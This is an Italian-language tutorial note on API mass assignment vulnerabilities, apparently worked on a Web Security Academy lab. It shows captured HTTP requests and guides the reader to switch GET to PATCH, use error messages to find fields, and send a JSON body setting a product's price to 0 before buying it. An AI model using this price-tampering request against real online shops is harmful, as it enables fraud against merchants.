tags: API API_Mass_Assignment API_Vulnerabilty API_OWASP_TOP_10
Si verifica quando un’applicazione prende l’input dell’utente e lo associa direttamente a oggetti interni del database senza filtrare quali proprietà l’utente può effettivamente modificare.
Per esempio se ci fosse un e-commerce con una lista di prodotti a determintati prezzi e fosse vulenerabile a questo tipo di attacco si potrebbe modificare il prezzo dei prodotti tramite una manipolazione delle richieste HTTP e del prezzo in formato JSON.
Ecco un esempio:
Per prima cosa bisogna trovare l’endpoit API che gestiste i prezzi dei prodotti, in questo esempio è la seguente con endpoit /api/products/1/price, in genere sono /api/products/... , /v1/... o simili.
Ecco la richiesta all’endpoit /api/products/1/price:
GET /api/products/1/price HTTP/2
Host: 0ab8002b0404e3e58043c1f200bc0080.web-security-academy.net
Cookie: session=cXK6391GHkTKEcWJ3KDOzuQU2AqsHP5A
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0ab8002b0404e3e58043c1f200bc0080.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Ora la proviamo a modificare cambiando il metodo da GET a per esempio PATCH e osserva come si comporta.
Se ricevi un errore dopo aver cambiato il metodo in PATCH, non fermarti. Gli sviluppatori spesso lasciano messaggi di errore informativi.
-
Se invii
PATCH /api/products/1senza corpo, l’API potrebbe rispondere:"Content-Type 'application/x-www-form-urlencoded' not supported"o"Missing parameter: price". -
Cambia il
Content-Typeinapplication/json. -
Aggiungi un corpo JSON vuoto
{}e osserva l’errore. L’API ti dirà quali campi si aspetta.
Seguendo gli errori, dovresti arrivare a costruire una richiesta simile a questa:
PATCH /api/products/1/price HTTP/2
Host: 0ab8002b0404e3e58043c1f200bc0080.web-security-academy.net
Content-Type: application/json
{
"price": 0
}Se l’API è vulnerabile, riceverai un 200 OK e il prezzo del prodotto nel database verrà aggiornato a 0 (o a un valore molto basso).
Una volta fatto ti basterà aquistare il prodotto al prezzo da noi fissato.